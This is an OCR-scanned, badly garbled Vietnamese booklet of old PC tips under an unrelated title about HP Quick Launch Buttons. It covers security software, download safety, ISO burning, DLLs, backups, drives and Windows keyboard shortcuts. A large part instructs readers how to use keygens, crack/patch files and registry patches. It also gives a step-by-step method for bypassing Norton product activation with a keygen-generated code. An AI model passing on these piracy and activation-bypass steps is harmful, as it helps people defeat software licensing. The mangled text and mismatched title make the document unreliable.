Lỗi hp quick launch buttons không gỡ được năm 2024

See other formats

KY THUAT

  • Dó nghé báo vé máy pc
  • Căn bản kiến thức pc
  • Tài liệu điện toán
  • Muốn trở thành hacker
  • Toàn bó websiter cho Video
  • Kỹ thuật nhiếp ảnh. DO NGHE BAO VE MAY PC GRRRP Néu muón vào NET dé choi hay download thi càn phài có dó nghé bào vé máy pc nhu: 1.- Firewall dé chóng hackers vào phá hoai nhát là xài DSL, Cable modem thi trong máy lúc nào cũng cần phài có firewall ngay cà khóng vào NET vi DSL và cable modem lúc nào cüng connect vào Net. Chon firewall software nhu: ZoneAlarm, Norton, McAfee, Tinyfirewall...Néu có tién thi xài hardware firewall thi hiru hiéu hon là software firewall vi hardware firewall chi program khi khóng connect vào Net càn có cable interface thi mói program duoc hardware firewall eraseable ROM chIP (flashable), sau khi program xong gó dáy cable interface ra thi hardware firewall khóng thé program được. Trên lý thuyết thi software firewall có thé bi hackers disable vói software riéng cüa hackers -nhung khóng phải dé làm 2.- Anti-Virus program dé chóng virus. Chon anti-virus software nhu: Norton, PC- ciline, McAfee, AGVantivirus... Vói Windows 2000 Server, Advanced Server, Windows 2003 Server càn xài Norton Antivirus Corporate Edition 3.- Pest Killer software dé diét trir sáu bo gám nhám dó trong máy như loại sâu Ezula...làm hu Internet EXPlorer. Chon software nhu: PestControl, Gold Eye... 4.- Anti-Spy software để chống những tên gián điệp, đặc công năm vùng lẻn vào máy mà gởi tin tức về chủ động Ma Giáo. Chọn những software để phản gián như BPSpyRemover, Spy Sweeper, Spy Remover... 5.- Pop-up Ads Killer để diệt mấy cái quảng cáo nhảy lên chiếm màn hình. Quý vị chọn nhüng software dé tiéu diét Popup Ads nhu: KillAdd, PopupKiller, Ad Gone, Anti- Porn, Kidsurf...Ngoài ra Google toolbar (Search Engine) cüng diét duoc popup ads, chi càn vào http://toolbar.goolge.com/ dé download và install Google toolbar. Google Toolbar chi xài duoc vói IE nhung khóng xài duoc vói Netscape browser. 6.- Windows Washer. Windows lâu ngày còn sót lại những program mồ côi không xài tới uninstall nhưng không delete được hết files thì cần dọn đẹp sạch sẽ, để hard drive có chỗ trống. Chọn những software như: UltraCleaner, WinWasher... 7.- Registry cleaner dé don dep rác ruói do máy cái junkware, spyware...xả hàng ngàn keys trong Windows Registry. Chon nhüng software nhu: RegCleaner, Registry Healer... 8.- Camouflage Nguy trang làm cho hackers hay nhüng spyware khóng tháy nhüng gi trong harddrive. Chon software nhu: Advance Hidden Folders, Folder Guard, MyTopSecret... 9.- Safety Trong truóng hop harddrive bi hu bát thinh linh vi hardware hay bi virus phá boot track khóng boot duoc thi càn tói nhüng software nhu: EDR Commander, Hiren's BootCD, Linux Knoppix CD 3.3...để mà sửa chữa... Nếu máy pc cüa quy vi xài hét nhüng software ké trén thi thi máy pc sé chay chậm lai...và quy vi vào NET dé download software, music chüa thi máy có an toàn khóng ? Cáu tra lời đương nhiên là KHÔNG. Không có software nào có thê bảo vệ máy pc an toàn 100% cả... AI cũng biết vào NET để download nhất là Kazaa hay download qua bằng bittorent thì máy pc rất dé bị nhiễm trùng, sâu bọ, gián điệp phá hoại. Nếu biết như vậy tại sao không thí 1 KỸ THUẬT ĐIỆN TOÁN mang cùi ? Nếu quý vị lái xe mới đi làm thì sợ bị cọ quẹt hư xe mới thì lái chiếc xe pickup cũ có bị đụng móp cũng không tiếc gì. Nếu quý vị xài I hard drive nhỏ chừng 5 Gb chỉ có Windows OS và Firewall (xài harddrive này dé vào Net mà thôi) dé vào Net dao choi, Chat hay download software, music thi khi Windows OS có bi hu thi chi cin FORMAT hard drive làm lai cuóc dói. Tuy nói là thí mạng cùi nhưng mạng cùi cũng là I..mạng dùng để nối mạng nên trước khi vào mấy sites download cần phải dọ thám đường đi nước bước 1.- Khi bạn thấy ai post cái link để download thì nên vào coi cái domain đó ở đâu, của ai ? Néu link dó là.COM thi vào http://www.networksolutions.com/ rói bám vào WhoIS, dánh vào cái tén DomainName.com coi cái site dó cüa ai. Duong nhién site có thé có link hướng về chỗ khác nhưng cũng biết được ở đâu. Những sites khác nhu http://www.whois.net/, http://www.betterwhois.com/, ^ http//www.allwhois.com/, http://www.whoisreport.com/ http://www.whois.sc/ (whois.sc có thé tim domain bàng só IP, domain name hay tên)... 2.- Néu nhüng site cho download càn phài VOTE thi nén tránh xa...loai site này chi muốn lấy credit cho nhiều người vào (dé có traffic cao ma nhan quang cao cho cac site khac dé lượm tiền) còn thật ra site nầy không có cơm chay nào đáng dé download sau khi bạn VOTE ròi thì cái link download chuyền tới chỗ ma hay chỗ để VOTE thêm 3.- Bit-TorrentBạn không nên xài loai này dé thỉnh cơm chay vì khi ban DOWNLOAD file thì phải làm công quả UPLOAD files cho người khác. Đôi khi tốc độ Download chỉ được 10 Kb/sec mà tốc độ Upload lén tói 40 Kb/sec - DSL hay cable modem của bạn bị người khác xài thả cửa...máy chờ download lâu nên dễ bị hackers, sâu bọ xâm nhập 4.- Nếu software bạn muốn download là loại TRIAL và xài thêm CRACK để xài thiệt thì bạn chỉ cần download cái CRACK trước rồi vào website chính cho download mà download cái trial version thì an toàn hơn. CĂN BẢN KIÊN THỨC PC... CaChon biên soạn
  • Auto-run và bootable khác nhau như thế nào ? Quý vị cần phân biệt giữa 2 chữ Auto-run và bootable. Một đĩa CD program gọi là auto-run (tự động chạy hay tự khởi động) là khi ban cho cái dia CD dó vào trong CD-ROM drive thi sé tu dóng run cái setup program. Dia Auto-run khóng phái là loai dia CD hay DVD bootable. Dia CD hay DVD bootable là khi ban cho cái dia CD hay DVD vào CD-ROM và mó máy pc lén dé boot tir CD-ROM thi cái dia này sé boot dé install Windows OS, Linux, hay làm data recovery v.v...Dia CD bootable thóng thuóng cüng là loai auto-run. Muón program auto-run thi trong cái directory phái có file autorun.inf, cón dia bootable là cái dia dó phái có cai boot track El Torito. Dia bootable muón upload hay download cần phải biến đổi thành disk image ISO đề giữ nguyên cái boot track El Torido.
  • ISO files ISO là chữ viết tắt của chữ Internation Standard Organization. ISO dùng trong pc có nghia là disk image file. Néu dia CD hay DVD boot duoc (nhu Windows 2K và XP) mà copy vào HD rói burn lai vào CD sé mát di cái boot track El Torido nén khóng boot duoc...Vi váy nguòi ta xài UltraISO, WinISO...dé làm cái ISO file tir dia CD rồi từ đó chia ra làm nhiều files nhỏ để upload, download. Khi quý vị tổng hợp lại thành cái file ISO thì phải burn vào CD hay DVD để trở lại cái image file giống như đĩa CD original. Néu muón thém bót files (thêm crack, keygen, serial, ca'ch install v.v...) trong cái file ISO thì phái xài UltraISO, WinISO, hay ISO-Buster mà thém vào rói save lai, sau dó xài Nero dé burn image vào CD hay DVD. Đây là cách burn image bằng Nero: Nero > Burn Image > Chọn ISO file > cho cái blank CD-R hay DVD-R vào mà burn. 2 KỸ THUẬT ĐIỆN TOÁN
  • Software chóm vé... Executable Program (.EXE) 1a software dé 1am viéc dung dé setup hay install day là program chính mà bạn download về dưới dang RAR, ZIP v.v...Néu file download vé 1a.ISO thì phải burn vào CD trước mới install duge (du cai ISO file dó chi có 50 Mb cüng phái xài nguyên 1 dia CD...néu so phí 1 dia CD thi düng xài). Hàu hét program muón install thi cần phái có serial, chi có loai trial thi khi install không càn tói serial. Khi install program thì không bao giò install vào folder C:\Program Files...vi install program sé chim vao may timg dia nguc khó mà tim hay delete vé sau...Install program vao | folder riêng lẻ thi du C:\IDM hay D:\IDM thi cái exe program sé dé tim và cüng dé delete nguyén cái folder trong truóng hop uninstall program khóng delete nguyén cái folder.
  • Keygen, KeyMaker... Keygen, KeyMaker là mót program nhó chi Generate, làm ra cái chia khóa (serial number), hay CD-KEYS v.v... Thóng thuóng phái run cái keygen truóc để lấy số serial mà install software. Nén nhó là tát ca so serial generated chi ding dé install mà thói nhüng só serial này khóng có trong số bộ dataBase của mây nhà sàn xuát software nhu Microsoft, Norton v.v...vi váy néu quy vi dé cho program goi vé các server chü nhu Microsoft, Norton, ZoneAlarm...thi só serial này đều là só già... invalid...
  • Crack hay Patch... Có 3 loai vá...
  • 5.1 Va lap lỗ...trong cái folder thông thường có cái file tên là Patch.exe hay crack.exe, copy cái file patch.exe hay crack.exe nay vao trong folder da install program trong giai đoạn Ï (thí dụ C:IDM thay dé tìm chưa ?) rồi run cái file patch.exe hay crack.exe nây thì cái patch này sé sua, thém bót code trong cái program EXE dá install dé làm cho program software không còn bị hết hạn sau 15 ngày (eXPired) hay biến đổi trial program thành Full Retail...
  • 5.2 Vá thay đôi hay thay thé...trong cái folder này sé có 1 file exe cùng tên với cái tên program đã install trong giai đoạn 1 (thi du IDM502f.exe). Chi can copy cai file này vào trong folder dà install ó giai đoạn 1 dé overwrite (thay thé) cái program dá install là xong.
  • 5.3 Va Windows Registry...trong folder nay co 1 program EXE hay chi là 1 file có cái duói.REG. Run cái file exe hoặc là double-click cái file.REG thi sẽ thêm hay sửa đổi key code trong Windows Registry.
  • Keygen và Activation combos... Loai này có 2 nhiệm vu:
  • 6.1. Làm cái serial number để install program
  • 6.2. Program cần phải activation thì mới xài được. Muốn activation thì trước hết phải gỡ bỏ internet ra khỏi máy, gỡ dây điện thoại khỏi modem, tắt wireless card v.v...rồi chọn activation by phone khi program display cái challenge code hay request code thì đánh vào trong cái keygen, réi bam nut generate activation, danh cdi activation code nay vao lai trong program dói hói là xong.
  • Norton Product Activation
  • Hàu hét Norton products càn phài activation.. .Néu làm sai thi khong | thé un-install và install lai duoc vi các keys hay data di nam trong Windows Registry rói..Dáy là cách activation:
  • 7.1 Install software vói só serial, CD-KEYs do keygen làm ra hay só serial tim duoc
  • 7.2 Gó bó dáy dién thoai ra khói modem, tát wireless card (néu xài laptop), run IE dé bào dám là không vào được net hiện ra cái trang This page cannot be displayed...Néu chua tháy cái trang vừa nói là ban vẫn còn vào Net được thì trở lại giai đoại 7.2 tiếp tục giai đoại 7.3 khi bạn không vào net được.
  • 7.3 Run software vừa install và chọn activation, cứ để cho Norton software gỌI về chủ nó nhiều lần không được, sẽ display error, cứ tiếp tuc bam nut OK...Cho cho software goi 3 KY THUAT ĐIỆN TOÁN về server chủ năm bay làn không duoc thi software cüng dành bó cuóc...cho ban option dé activation by phone va program display cai challenge code chung vài chục characters (tùy theo program). Copy hay viét cái challenge code này vào giáy
  • 7.4 Run cái keygen làn nia, dánh cái challenge code vào hay paste tir clIPboard, bám nüt generate activation code (hay authorization code) dé láy cái activation code, dánh cái activation code này vào lai program cüa à orton rói bam nut Activate products...4 éu thấy cái dialog nói cau Thank You là ban dà activate thành công...
  • Bin và Cue Files... Bin và Cue file là image file cüng gióng nhu ISO file nhung do software CDRwin làm. Bin và Cue file thường dùng để chứa nhiều hơn 700 Mb datfa (overburn) bằng cách xài 2352 bytes/sector thay vì căn bản 2048 bytes/sector. â ero burn được.bin file bằng cách là burn image > chọn.CUE file rồi cho cái dĩa CD-R vào mà burn. Lưu ý là có nhiều CD-ROM drive néu xai overburn qua 16 co thé hu dau may. 4 éu xài å ero thi vào trong Preferences (hay Options)> EXPert Features mà chọn overburn cho CD hay DVD-CD nên chọn tối đa chừng 80 phút
  • DLL files... DLL là chữ viết tắt cüa Dynamic Link Library 1a nhimg module files cần thiết dé run program. Khi ban install software thi setup program sé là 3 viéc:
  • 9.1 Copy files vào chó mót directory ban chon hay vào chó defualt nhu C: Program Files...
  • 92 Copy DLL files vào trong folder System32 nhu trong C: Winndows System32 (nếu là Windows 98, ME, XP, 2003) hay C:\Wina T\System32 (néu la 4 T4, Windows 2K).
  • 9.3 Làm keys dé trong Windows Registry và register nhüng keys hay ClassID Khi program khóng run duoc báo là có 1 DLL file nào dó missing...thuóng là do ban vira install 1 software mói, install cái file dll mói khóng xài duoc cho nhüng program cù, hay ban vira uninstall một cái software nào dé, xóa luón cái.dll files cần cho program. Trường hợp này chi càn install lai cái program nào display cái file.dll missing. Copy.DLL file vào trong System32 thì program đôi khi làm việc được đôi khi không. Lý do là file DLL có nhiều version khác nhau - chi có program install mói biết là khi nào thi install cái.DLL mói hay xài cái đã có trong máy (vi cái file DII trong System32 mói hon cái dll file du dinh install). Vi software install vào 3 chó khác nhau nén néu ban copy program tir 1 folder trong 1 máy pc vào 1 folder trong máy pc khác thi program khóng làm viéc duoc thiéu.dll files trong System32 và keys hay ClassID trong Windows Registry.
  • ISO file nhó - muón xài tói da dia CD á éu quy vi download cái ISO program file nhung cái ISO file này chi có 70 Mb (thí du Hiren's Boot CD) mà quy vi khóng muón phí 1 cái dia (vi xài có 70 Mb cón hon 630 Mb bó) thi quy vi có thé thém files cho dày 700 Mb rói burn vào thành 1 CD cüng duoc.
  • 10.1 á éu là là loai bootable thi quy vi phái xài UltralSO, WinISO v.v.. dé thém file cho dày. Có nhüng software nhu à á ero, Roxio khóng phái là loai bootable (chi là autorun) thì quy vi có thé cho nguyén cái software á ero Premium hay Roxio vào trong 1 folder rói cho vào trong cái file ISO file. Sau khi thém program cho tói gàn dày 700 Mb thi burn cái ISO vào CD thi cüng boot duoc khi cho cái CD này boot CD-ROM dé run cái ISO file chính, cón khi muốn install máy cái software (thêm vào) thì run setup. å éu ISO file là loai DVD bootable thi khóng nén thém software. Dói khi thém files sé bi mát cái boot track nén khóng boot duoc.
  • 10.2 4 éu ISO nay chi 1a loại autorun thì quy vi có thé xài UltralSO hay WinISO mà extract cái ISO file này vào HD rồi thém nhiéu software nita cho day 700 Mb hay day 1 DVD ma burn vao dia CD hay DVD.
  • 10.3 Có vài loai ISO file néu thém folder hay thém files sé làm cho CD khóng cón install duoc, thí du cai dia CD1 cua MS Flight Simulator 2004, néu thêm folder để chứa cái 4 KỸ THUẬT ĐIỆN TOÁN crack fs2004.exe sé khóng install vào máy. à éu quý vị thêm bớt file trong ISO file ròi burn vào CD mà không install duoc thì nhớ trở vé cái original ISO file...
  • ISO file lớn hơn 4 Gb... nhưng bên trong chỉ chứa 1 file có 1 Kb...
  • ISO 16n hon 4 Gb thuong 1a UDF format (Universal Disk Format) nên nếu quy vi xài máy software nhu UltralSO, WinISO để coi bên trong có chứa crack chưa hay muôn thêm crack, keygen nhu dà nói ó trén...thi chỉ thấy có 1 text file duy nhất chừng I Kb, tát cà các files hay folder cháng tháy gi cà...nhin vào cai filesize display trong UltraISO van dung hon 4 Gb. Loai file UDF này quy vi khóng thém bót files hay folder duoc...Quy vi phài xài 4 ero dé burn truc tiếp cái file ISO này vào DVD-R hay DVD+R... Có những software chứa trong dĩa DVD xài cho 2 platforms khác nhau nhu Windows và Mac. â éu quý vi xài UltraISO dê extract files thì tát cå các file extract chỉ còn bằng phân nita cái có file ISO (vì đã mất hết phần files của Mac OS). â ếu muốn giữ files cho cå hai platforms Windows và Mac thi phải burn vào dĩa DVD từ ISO file (không được thêm bớt folder hay file nào cả)
  • 5 dia CDs hay 1 dia DVD - nén chon thit nào ? â hiều software lớn chứa trong 5 hay 6 CDs hoác là 1 dia DVD thí du nhu Visual Studio.â et 2003 Pro gồm có 3 dia CDs program và 3 dia CDs MSDá hay 1 dia DVD, SuSE Linux 10 góm 5 dia CDs hay 1 dia DVD. Ai cüng nghi ráng download 1 dia DVD thi gon hon là 5 hay 6 đĩa CDs vì CD phải chiếm nhiều chỗ...nhưng đến khi install program thi mdi biết... DVD-drive read chừng 16-24X trong khi đó CD-drive read ở tốc độ 52X nhanh hơn 2-3 lần tóc dó DVD...VS.á ET 2003 hay 2005 dia CDs install vào máy phài mát 45-60 phát thi cüng software này duói dang DVD phài mát 1 gió 30 phüt tói 2 gió mói install xong...Dó là su khác việt giữa CDs và DVD bạn chọn thứ nào thì tùy y ban.
  • FlashGet và IDM Có thể nói IDM và FlashGet là 2 program tiêu chuẩn về download (de Factor Standard) cho các download managers khác nén quy vi chi càn xài mót trong hai cái IDM hay FlashGet để chở hàng về. a ói về tốc độ thì IDM download nhanh hon flashGet chút đỉnh... ä ói là chút đỉnh vì download giới hạn bởi server và đường dây DSL của bạn. ẩ ếu ban download bằng FlashGet được 380 Kb/sec thì xài IDM bạn download được cỡ 400 Kb/sec đây cũng là giới hạn tốc độ tối đa đường dây DSL của bạn. â ói chung thì bạn xài IDM để download các site thông thường và xài FlashGet khi download những site bên Tàu...vì các site bên Tàu ma giáo sợ FBI lùng bắt nên cái link không phải là nhà kho chứa chân kinh, chìa khóa mà chỉ chứa địa chỉ và số nhà đề đi tới một site khác nữa (refer) -dói khi site kế tiếp chi chỗ tới nhà kho...nên IE, FireFox và IDM không download được từ các site bên Tàu...chỉ có FlashGet có thé làn theo địa chi refer mà tói nhà kho chó hàng vé... å éu quý vi muốn download tir RapidShare, MegaUpload (Free Account) thì nên xài IE hay FireFox mà download vì mấy cái site đó không thích mấy cái download managers nên nếu quý vị download bằng IDM hay FlashGet thì file download vé rát dé bi corrupted...
  • Disk Image và Backup Data khác nhau thế nào ? Disk Image gióng nhu làm photocopy cái HD xài Ghost hay Acronis Disk Image cüng đều được tùy theo ý thích người sử dụng. Backup data thong thường là copy data files vào tape drive -tape có độ chứa chừng 80 Gb compressed (40 GB tape) và backup thuóng là hàng ngày hay hàng tuàn tüy theo nhu cáu... Disk image có nhuoc diém là làm disk image cho nguyén mót partition nén nhüng software install sau khi dà làm disk image thi sé khóng recover duoc...và disk image sé lón nếu install quá nhiéu software. Muón xài disk image hitu hiéu thi giói han Windows OS 1 software installed cỡ 1 hay 2 dia DVDs. á hiéu hon 2 dia DVD sé mát nhiéu thi gió dé recover lại nguyên cái partition-disk image nén burn vào DVD-R, hay DVD-R và nén giit 1 bán copy trong External USB 2.0 HD dé khi càn recover lai partition sé nhanh hon là tir dia DVD. 5 KY THUAT DIEa TOAA Backup data thi chi copy nhüng files nào mói mà khóng copy files cü dà backup rói (incremental hay full)...nên nếu backup hàng ngày hay hàng tuần thi data cũng nhỏ. Tuy nhiên backup data cüng có nhược điểm là muốn recover lại data thì phải có 1 Windows OS dang làm việc có nghĩa là nếu Windows bị hư thì phải install lại Windows và backup software thì mói recover lai data duoc. á éu xài disk image dé recover lai Windows va software da install và xài backup data thi duoc an toàn và viéc recover lai data cüng nhanh vi sau khi recover bàng disk image thi có thé xài backup software dé recover lai data tir tape backup. á éu khóng xài software dé backup nhu Veritas Exec Backup thi ban có thé xài á ero Backup (tuy khóng hay lắm nhưng vẫn tốt hơn là không xài) hay có nhiéu External USB 2.0 HD do mấy nhà sản xuất HD nhu WD hay Maxtor déu có one-touch backup...thi chi can bam cái nüt là tu dóng backup data. Bạn nên xài cá hai disk image và backup data thi mói duoc an toàn vì HD hay bị chết bất thường...
  • Yahoo email được 30 Mb lưu trữ... Mỗi Yahoo email account được 30 Mb lưu trữ...Hiện giờ Yahoo cho git 1 Gb nhung só 30 Mb này vẫn tính chung trong số lượng lưu trữ 1 Gb (1 Gb chỉ để lưu trữ email và attachments) Muốn xài chỗ lưu trữ nây thì đánh vào http://briefcase.yahoo.com rồi log-in (sign-in lần đầu) với Yahoo!ID và password cüa Yahoo. Có thé upload files lón có tói da 3 Gb. á oi đây ban có thể upload những file riêng của bạn mà không ai vào xem được ban có thé download những file đã upload vào đây. Cái bị Yahoo (briefcase) có thể dùng đề lưu trữ keygen, patch, program nhó hon 3 Mb hay hình ảnh bạn chụp từ máy ảnh digital mà upload vào đây dé delete hinh trong máy trong khi đi du lịch. Upload hình ảnh vào đây rôi cho người nhà biết password để vào download thì cũng như một cách share hình ảnh không mắt tiền... Muốn xài nhiều hơn 30 Mb thì làm thêm vài cái email accounts vói Yahoo...
  • IDE, SATA và SCSI hard drives IDE hard drive có tóc dó transfer tói da là 133 Mb/s (loai cü có tóc dó là 33, 66 hay 100 Mb/s). IDE gán vào motherboard báng dáy IDE cable 80 wires, 40 pins. Dáy IDE calbe 40 wires, 40 pins thuóng xài cho DVD-ROM drive vi tốc độ chậm duói 33 Mb/s SATA hard drive có tóc dó transfer tói da là 150 Mb/s (trong tuong lai có thé lén tói 300 hay 600 Mb/s). SATA drive gán vào motherboard báng dáy 7 pins góm có 4 pins data và 3 pins power. Motherboard néu có SATA thi cüng có 2 nhánh IDE (4 devices) và 2 nhánh SATA (4 devices). å éu gån SATA drive thì default sé boot tir SATA, phài vào BIOS setup néu muón boot tir IDE HD truóc. SCSI HD (doc là Si-C6-Zi SCSI = Small Computer System Interface) thuóng xài cho network vi có thê xài Raid 5 hữu hiệu hơn (có thể xài IDE raid nhưng làm việc chậm). SCSI drive có thể gắn 7 drive liên tiép chung vào 1 dáy SCSI cable (daisy chain). Duong nhién IDE HD ré tiền nhất, ròi tói SATA, và SCSI drive là loại mắt tiền nhất
  • Windows XP Hotkeys and keyboard Shortcuts: Windows ® XP General: CTRL and A -Selects all the items in the active window. CTRL and C -Copies the item or items to the ClIPboard and can be pasted using CTRL and V. CTRL and F -Displays the Find all files dialog box. CTRL and G -Displays the Go to folder dialog box. CTRL and 4 -Displays the 4 ew dialog box. CTRL and O -Displays the Open dialog box. CTRL and P -Displays the Print dialog box. 6 KY THUAT DIEa TOAA CTRL and S -Displays the Save dialog box. CTRL and V -Pastes the copied item or items from the ClIPboard. CTRL and X -Cuts the item or items selected to the ClIPboard. CTRL and Z --- Undoes the last action. CTRL and F4 -Closes the active document window. CTRL while dragging an item -Copy the selected item CTRL+SHIFT with arrow keys -Highlight a block of text CTRL+F4 -Close the active document CTRL+ESC -Display the Start menu CTRL and F6 -Opens the next document window in the active application. ALT+Få TER -View the properties for the selected item ALT+F4 -Close the active item, or quit the active program ALT+SPACEBAR -Open the shortcut menu for the active window ALT-TAB -Switch between the open items ALT-ESC -Cycle through items in the order that they had been opened F1 key -Gives help on the active window or selected item. F2 key -Rename the selected item F3 key -Search for a file or a folder F4 key -Display the Address bar list in My Computer or Windows EXPlorer F5 key -Update the active window F6 key -Cycle through the screen elements in a window or on the desktop F10 key -Activate the menu bar in the active program Windows Logo -Display or hide the Start menu Windows Logo* BREAK -Display the System Properties dialog box Windows Logo+D -Display the desktop Windows Logo+M -Minimize all of the Windows Windows Logo+SHIFT+M -Restore the minimized Windows Windows Logo+E -Open My Computer Windows Logo+F -Search for a file or a folder CTRL+Windows Logo+F -Search for computers Windows Logo+F1 -Display Windows Help Windows Logo+ L -Lock the keyboard Windows Logo+R -Open the Run dialog box Windows Logo+U -Open Utility Manager Windows ® XP - Dialogue Box: TAB -Move forward through the options SHIFT+TAB -Move backward through the options CTRL+TAB -Move forward through the tabs CTRL+SHIFT+TAB -Move backward through the tabs ALT+Underlined letter -Perform the corresponding command or select the corresponding option Ea TER -Perform the command for the active option or button SPACEBAR -Select or clear the check box if the active option is a check box F1 key -Display Help F4 key -Display the items in the active list Arrow keys -Select a button if the active option is a group of option buttons BACKSPACE -Open a folder one level up if a folder is selected in the Save As or Open dialog box Windows ® XP - Windows EXPlorer: Eá D -Display the bottom of the active window 7 KY THUAT BIÉÀ TOÁÀ folder HOME -Display the top of the active window a UM LOCK-+Asterisk sign (*) -Display all of the subfolders that are under the selected folder 4 UM LOCK+P lus sign (+) -Display the contents of the selected folder a UM LOCK+Minus sign (-) -Collapse the selected folder LEFT ARROW -Collapse the current selection if it is eXPanded, or select the parent RIGHT ARROW -Display the current selection if it is collapsed, or select the first subfolder
  • Windows 2000 Keyboard Shortcuts Common Keyboard Shortcuts: Windows Logo
  • Display or hide the Start menu. Windows Logo+BREAK- Display the System Properties dialog box. Windows Logo+D - Minimizes all Windows and shows the Desktop Windows Logo+E - Open Windows EXPlorer Windows Logo-F - Search for a file or folder. Windows Logo+F+CTRL- Search for computers. Windows Logo+F1 - Display Windows 2000 Help. Windows Logo+L - Locks the desktop Windows Logo+M - Minimize or restore all Windows. Windows Logo+R - Open the Run dialog box. Windows Logo+TAB - Switch between open items. Windows Logo+U - Open Utility Manager ALT+- (ALT+hyphen) - Displays the MultIPle Document Interface (MDI) child window's System menu. ALT-Eá TER - View properties for the selected item. ALT+ESC - Cycle through items in the order they were opened. ALT-+F4 - Close the active item, or quit the active program. ALT+SPACEBAR - Display the System menu for the active window. ALT+TAB - Switch between open items. ALT+Underlined letter in a menu name - Display the corresponding menu. BACKSPACE - View the folder one level up in My Computer or Windows EXPlorer. CTRL+A - Select all. CTRL+B - Bold CTRL+C - Copy. CTRL+I - Italics CTRL+O - Open an item. CTRL-U - Underline CTRL-V - Paste. CTRL+X - Cut. CTRL-Z - Undo. CTRL-FA - Close the active document in programs that allow you to have multIPle documents open simultaneously. CTRL while dragging an item - Copy selected item. CTRL+SHIFT while dragging an item - Create shortcut to selected item. CTRL+RIGHT ARROW - Move the insertion point to the beginning of the next word. CTRL+LEFT ARROW - Move the insertion point to the beginning of the previous word. CTRL-DOWá ARROW - Move the insertion point to the beginning of the next paragraph. 8 KY THUAT DIEa TOAA CTRL+UP ARROW - Move the insertion point to the beginning of the previous paragraph. CTRL+SHIFT with any of the arrow keys - Highlight a block of text. DELETE - Delete. SHIFT+DELETE - Delete selected item permanently without placing the item in the Recycle Bin. ESC - Cancel the current task. F1 - Displays Help F2 - Rename selected item. F3 - Search for a file or folder. F4 - Display the Address bar list in My Computer or Windows EXPlorer. F5 - Refresh the active window. F6 - Cycle through screen elements in a window or on the desktop. F10 - Activate the menu bar in the active program. SHIFT+F10 - Display the shortcut menu for the selected item. CTRL+ESC - Display the Start menu. SHIFT+CTRL+ESC - Launches Task Manager Underlined letter in a command name on an open menu - Carry out the corresponding command. RIGHT ARROW - Open the next menu to the right, or open a submenu. LEFT ARROW - Open the next menu to the left, or close a submenu. SHIFT with any of the arrow keys - Select more than one item in a window or on the desktop, or select text within a document. SHIFT when you insert a CD into the CD-ROM drive - Prevent the CD from automatically playing. Dialog box keyboard shortcuts: CTRL+TAB - Move forward through tabs. CTRL+SHIFT+TAB - Move backward through tabs. TAB - Move forward through options. SHIFT+TAB - Move backward through options. ALT+Underlined letter - Carry out the corresponding command or select the corresponding option. Ea TER - Carry out the command for the active option or button. SPACEBAR - Select or clear the check box if the active option is a check box. Arrow keys - Select a button if the active option is a group of option buttons. F1- Display Help. F4 - Display the items in the active list. BACKSPACE - Open a folder one level up if a folder is selected in the Save As or Open dialog box. Windows EXPlorer keyboard shortcuts: CTRL+PLUS on numeric keypad (+) - Automatically resize the columns in the right hand pane Eá D - Display the bottom of the active window. HOME - Display the top of the active window. a UM LOCK+ASTERISK on numeric keypad (*) - Display all subfolders under the selected folder. a UM LOCK+PLUS SIGá on numeric keypad (+) - Display the contents of the selected folder. 4 UM LOCK-MIá US SIGá on numeric keypad (-) - Collapse the selected folder. LEFT ARROW - Collapse current selection if it's eXPanded, or select parent folder. 9 KỸ THUẬT ĐIỆẩ TOÁä RIGHT ARROW - Display current selection if it's collapsed, or select first subfolder. Natural Keyboard shortcuts: You can use the following keyboard shortcuts with a Microsoft 4 atural Keyboard or any other compatible keyboard that includes the Windows logo key () and the Application key (). Windows Logo - Display or hide the Start menu. Windows Logo+BREAK - Display the System Properties dialog box. Windows Logo+D - Minimizes all Windows and shows the Desktop Windows Logo+M - Minimize or restore all Windows. Windows Logo+E - Open My Computer. Windows Logo-F - Search for a file or folder. CTRL+Windows Logo-F - Search for computers. Windows Logo+F1 - Display Windows 2000 Help. Windows Logo+L - Locks the desktop Windows Logo+R - Open the Run dialog box. Windows Logo+TAB - Switch between open items. Windows Logo+U - Open Utility Manager Accessibility Options keyboard shortcuts: Right SHIFT for eight seconds - Switch FilterKeys on and off Left ALT +left SHIFT -PRIá T SCREEá - Switch High Contrast on and off Left ALT Heft SHIFT +4 UM LOCK - Switch MouseKeys on and off SHIFT five times - Switch StickyKeys on and off a UM LOCK for five seconds - Switch ToggleKeys on and off Windows Logo +U - Open Utility Manager Help Viewer keyboard shortcuts: If your mouse is unavailable or if you prefer using your keyboard, you can use the following keyboard commands to navigate within the Help Viewer. To eXPand the headings below using the keyboard, press F6 to switch from the Help navigation pane to the topic pane. Press TAB to select the desired keyboard shortcut heading, and then press Ea TER to eXPand the listing. ALT+SPACEBAR - Display the system menu. SHIFT+F10 - Display the Help Viewer shortcut menu. ALT+TAB - Switch between the Help Viewer and other open Windows. ALT+O - Display the Options menu. ALT-+O, and then press T - Hide or show the navigation pane. CTRL+TAB - Switch to the next tab in the navigation pane. CTRL+SHIFT+TAB - Switch to the previous tab in the navigation pane. UP ARROW - Move up one topic in the table of contents, index, or search results list. DOWa ARROW - Move down one topic in the table of contents, index, or search results list. PAGE UP - Move up one page in the table of contents, index, or search results list. PAGE DOW - Move down one page in the table of contents, index, or search results list. F6 - Switch focus between the navigation pane and the topic pane. ALT+O, and then press R - Refresh the topic that appears in the topic pane. UP ARROW or DOWá ARROW - Scroll through a topic. CTRL+HOME - Move to the beginning of a topic. CTRL+Ea D - Move to the end of a topic. CTRL+A - Highlight all text in the topic pane. ALT+O, and then press P - Print a topic. 10 KY THUAT DIEa TOAa ALT+O, and then press B - Move back to the previously viewed topic. ALT+O, and then press F - Move forward to the next (previously viewed) topic. ALT+F4 - Close the Help Viewer. Contents tab keyboard shortcuts: ALT+C - Display the Contents tab. RIGHT ARROW - Open a book. LEFT ARROW - Close a book. BACKSPACE - Return to the previous open book. UP ARROW or DOWá ARROW - Select a topic. Eá TER - Display the selected topic. Index tab keyboard shortcuts: ALT+4 - Display the Index tab. UP ARROW or DOWá ARROW - Select a keyword in the list. ALT+D or Ea TER - Display the associated topic. Search tab keyboard shortcuts: ALT+S - Display the Search tab. ALT+L - Start a search. ALT+D or Ea TER - Display the selected topic. Favorites tab keyboard shortcuts: ALT+I - Display the Favorites tab. ALT+A - Add a topic to the Topics list. ALT+P - Select a topic in the Topics list. ALT+R - Remove a topic from the Topics list. ALT+D - Display a topic from the Topics list.
